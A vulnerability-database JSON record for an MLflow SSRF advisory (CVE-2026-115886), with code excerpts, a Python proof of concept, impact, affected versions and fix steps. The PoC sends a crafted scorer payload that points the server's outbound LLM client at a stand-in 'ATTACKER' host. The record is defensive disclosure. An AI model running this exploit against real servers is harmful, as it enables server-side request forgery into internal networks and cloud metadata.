{"id":"CVE-2026-115886","kind":"vulnerability","aliases":["CVE-2026-115886","GHSA-2wqp-q3c6-ccj5"],"related":[],"title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"### Summary\nMLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data          # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n    raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)   # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {})  # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"]               # attacker model URI\nscorer_instance = scorer_class(**init_kwargs)      # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n    \"mlflow.genai.scorers.ragas\",\n    \"mlflow.genai.scorers.deepeval\",\n    \"mlflow.genai.scorers.trulens\",\n    \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n    return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n    return _create_gateway_provider(backend, **kwargs)\ntry:\n    from trulens.providers.litellm import LiteLLM\n    litellm_model = backend.model_name\n    ...\n    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\"           # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\"    # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n    span.set_inputs({\"q\": \"hi\"})\n    span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n#    outbound LLM client at the attacker host with an attacker-chosen\n#    Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n    \"name\": \"poc\",\n    \"third_party_scorer_data\": {\n        \"module\": \"mlflow.genai.scorers.trulens\",\n        \"class\": \"Coherence\",\n        \"metric_name\": \"Coherence\",\n        \"model\": \"openai:/gpt-4o\",          # routes to the litellm fallback\n        \"kwargs\": {\n            \"api_base\": ATTACKER,\n            \"api_key\": \"ATTACKER-CANARY\",   # attacker's own value, not a server secret\n        },\n    },\n}\nresp = requests.post(\n    f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n    json={\n        \"experiment_id\": exp_id,\n        \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n        \"trace_ids\": [trace_id],\n    },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5)  # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.","summary":"MLflow's unauthenticated scorer invoke endpoint builds attacker-named classes from JSON and forwards attacker kwargs to an outbound LLM client when the optional trulens packages are installed. An attacker can force the tracking server to send HTTP requests with attacker-chosen headers to internal or external hosts, including cloud metadata endpoints.","severity":"medium","cvss":6.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mlflow","fixed":["3.17.0"],"affected":">= 3.12.0rc0, < 3.17.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cloud","cwe-470","cwe-918","mlflow","package","python","self-hosted"],"not_affected_if":["auth-required","default-config"],"how_to_check":"- Run `pip show mlflow` and check whether the version is at least `3.12.0rc0` and below `3.17.0`.\n- Run `pip show trulens trulens-providers-litellm` and check whether either package is installed in the MLflow server environment.\n- Check whether the tracking server is reachable without authentication, for example by confirming there is no auth layer in front of port 5000.","fix":"- Upgrade MLflow to `3.17.0` or later.\n- If upgrading is not possible, uninstall `trulens` and `trulens-providers-litellm` from the server environment.\n- Put the tracking server behind authentication so the scorer endpoint is not open to anonymous callers.","status":"open","published_at":"2026-10-23T22:07:26+00:00","first_seen_at":"2026-10-23T22:15:56+00:00","triaged_at":"2026-10-25T03:47:09+00:00","updated_at":"2026-10-25T03:47:09+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-25T03:47:09Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade MLflow to `3.17.0` or later.\n- If upgrading is not possible, uninstall `trulens` and `trulens-providers-litellm` from the server environment.\n- Put the tracking server behind authentication so the scorer endpoint is not open to anonymous callers.","reach":"internet","title":"MLflow: unauthenticated scorer endpoint lets attackers make server send requests","impact":"medium","summary":"MLflow's unauthenticated scorer invoke endpoint builds attacker-named classes from JSON and forwards attacker kwargs to an outbound LLM client when the optional trulens packages are installed. An attacker can force the tracking server to send HTTP requests with attacker-chosen headers to internal or external hosts, including cloud metadata endpoints.","category":"package","nicknames":[],"who_cares":["mlflow","self-hosted","python","cloud"],"confidence":0.8,"needs_auth":"no","worst_case":"Attacker makes server send authenticated-looking requests to any host","analyst_note":"","how_to_check":"- Run `pip show mlflow` and check whether the version is at least `3.12.0rc0` and below `3.17.0`.\n- Run `pip show trulens trulens-providers-litellm` and check whether either package is installed in the MLflow server environment.\n- Check whether the tracking server is reachable without authentication, for example by confirming there is no auth layer in front of port 5000.","needs_analyst":false,"not_affected_if":["auth-required","default-config"],"who_is_affected":"Teams running an MLflow tracking server on versions from `3.12.0rc0` up to `3.17.0` that also have the optional `trulens` and `trulens-providers-litellm` packages installed. The exposure depends on the server being reachable without authentication; servers where those optional packages are absent are not exposed to this path.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.000901,"input_tokens":5646,"output_tokens":673,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-115886':24A,32A '-121':320C '-2026':23A,31A '-470':36B '-51':281C '-604':195C '-7098':405C '-918':38B '/ajax-api/3.0/mlflow/scorer/invoke':106C,399C '/gpt-4o':383C '1':496C '2':547C '2wqp':27A '46':280C '5000':476C '549':194C '7026':404C '97':319C 'allow':228C,291C 'allowlist':182C,278C 'anonym':497C 'api':390C,392C 'arbitrari':154C 'artifact':414C 'attack':53B,60B,75B,87B,117C,122C,141C,161C,202C,266C,316C,361C,483C,487C,548C,563C,568C 'attacker-chosen':86B,567C 'attacker-control':160C 'attacker-nam':52B,116C 'attacker-suppli':121C 'attacker/collect':484C 'attribut':188C,246C 'auth':417C,481C 'authent':109C 'author':570C 'backend':322C,333C,342C 'backend.is':336C 'backend.model':351C 'backend.route':327C 'base':391C 'behind':177C 'branch':368C 'build':51B 'bundl':457C 'call':438C 'canari':574C 'carri':159C 'catch':409C 'ccj5':29A 'choic':314C 'choos':158C 'chosen':88B,569C 'class':55B,119C,171C,209C,212C,240C,243C,272C,301C 'client':66B,310C,491C,560C 'client.create':513C 'cloud':34B,96B 'configur':482C 'constrain':185C,248C,260C 'constructor':127C 'control':162C,317C,488C 'creat':330C,339C,499C 'cve':22A,30A 'cwe':35B,37B 'data':197C,201C,264C 'data.get':206C,211C,255C 'databrick':328C,331C 'decor':418C 'deseri':426C 'detail':165C 'dict':251C,254C 'disabl':412C 'document':452C 'e.g':381C 'endpoint':21A,50B,98B 'engin':356C 'eval':460C 'evalu':20A 'except':411C 'exp':511C,524C 'experi':501C,514C,521C,522C 'expos':104C 'extern':93B 'fallback':367C 'forc':77B,143C 'forward':59B,303C,363C,389C 'frozenset':293C 'gate':283C 'gateway':340C 'genai':19A,459C 'genai-ev':458C 'getattr':241C 'ghsa':26A 'ghsa-2wqp-q3c6-ccj5':25A 'guard':406C 'handler':112C,402C 'header':89B,163C 'hi':538C,542C 'host':44B,94B,155C,485C,564C 'http':83B,150C 'id':510C,512C,523C,525C,544C,546C 'import':180C,285C,347C,464C,466C,470C,472C 'import-path':179C 'importlib.import':235C 'includ':95B 'init':249C,261C,273C 'input':536C 'instal':73B,138C,450C 'instanc':270C 'instanti':114C,276C 'intern':91B 'invok':16A,49B,400C,549C 'job':437C 'json':57B,124C,168C,175C,203C,421C 'key':393C 'kwarg':12A,61B,128C,191C,250C,256C,258C,262C,274C,305C,334C,343C,359C,362C,371C,555C 'litellm':136C,348C,349C,354C,357C,366C,449C 'litellm.__init__':388C 'litellm.completion':396C 'llm':65B,309C,559C 'log':503C 'lookup':434C 'm':218C,221C,223C 'make':147C 'metadata':97B 'mlflow':1A,5A,33A,39B,45B,100C,376C,410C,467C,469C,477C 'mlflow.genai.scorers.deepeval':295C 'mlflow.genai.scorers.phoenix':297C 'mlflow.genai.scorers.ragas':294C 'mlflow.genai.scorers.trulens':296C,300C 'mlflow.set':516C,520C 'mlflow.start':527C 'mlflow/genai/scorers/base.py':193C 'mlflow/genai/scorers/scorer_utils.py':279C 'mlflow/genai/scorers/trulens/models.py':318C 'mlflow/server/handlers.py':403C 'mlflowclient':471C,492C 'mlflowexception.invalid':231C 'model':263C,265C,267C,304C,324C,350C,355C,358C,373C 'modul':204C,207C,216C,229C,234C,236C,237C,242C,292C 'module_path.startswith':220C 'monitor':490C 'must':443C 'name':54B,118C,172C,210C,244C,352C,529C,581C 'nativ':337C,378C 'never':184C 'none':245C 'not-bundl':455C 'obtain':507C 'openai':382C 'option':69B,131C,454C 'outbound':64B,149C,308C,558C 'output':540C 'outsid':375C 'packag':40B,71B,137C 'paramet':232C 'parti':10A,199C,226C,289C 'path':181C,205C,217C,238C,286C 'payload':176C 'poc':462C,515C,531C,582C 'poc-span':530C 'point':556C 'post':105C,398C 'precondit':439C 'provid':135C,332C,341C,379C,448C 'python':41B,196C,287C,321C,463C 'q':537C 'q3c6':28A 'rais':230C 'raw':360C,370C 'reach':306C,369C 'reflect':113C,169C,187C,275C,551C 'regist':17A 'registri':380C 'request':84B,151C,473C 'return':329C,338C,353C 'rout':313C,385C,397C 'run':427C 'scorer':11A,15A,48B,200C,227C,239C,269C,271C,290C,401C,423C,553C,580C 'scorer.model':166C,419C 'scorerllmcli':323C 'secret':578C 'self':43B 'self-host':42B 'send':82B 'serial':422C,579C 'serialized.third':198C 'server':6A,80B,103C,145C,441C,479C,577C 'setup':461C,498C 'span':528C,532C,534C 'span.request':545C 'span.set':535C,539C 'ssrf':2A,164C 'store':433C 'str':252C 'straight':394C 'submit':436C 'summari':99C 'suppli':123C 'synchron':428C 'target':474C,475C,495C,519C 'third':9A,225C,288C 'third-parti':8A 'time':465C 'trace':505C,509C,543C 'track':79B,102C,432C,478C,493C,517C 'tracking-stor':431C 'tri':344C 'trivial':384C 'trulen':70B,132C,134C,445C,447C,552C 'trulens-providers-litellm':133C,446C 'trulens.providers.litellm':346C 'unauthent':4A,47B,140C 'unconstrain':126C 'uri':268C,325C,374C,494C,518C 'valid':167C,420C 'valu':233C,571C 'venv':442C 'via':7A 'vulner':425C 'whose':554C","nicknames":[],"mitigations":[],"who_affected":"Teams running an MLflow tracking server on versions from `3.12.0rc0` up to `3.17.0` that also have the optional `trulens` and `trulens-providers-litellm` packages installed. The exposure depends on the server being reachable without authentication; servers where those optional packages are absent are not exposed to this path.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-23T22:07:26+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2wqp-q3c6-ccj5","url":"https://github.com/advisories/GHSA-2wqp-q3c6-ccj5","severity":"medium","published_at":"2026-10-23T22:07:26+00:00","modified_at":"2026-10-23T22:07:27+00:00","first_seen_at":"2026-10-23T22:15:56+00:00","fetched_at":"2026-10-23T22:15:56+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-115886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115886","severity":null,"published_at":"2026-10-23T22:16:58+00:00","modified_at":"2026-10-23T22:16:58+00:00","first_seen_at":"2026-10-23T23:44:51+00:00","fetched_at":"2026-10-23T23:44:52+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}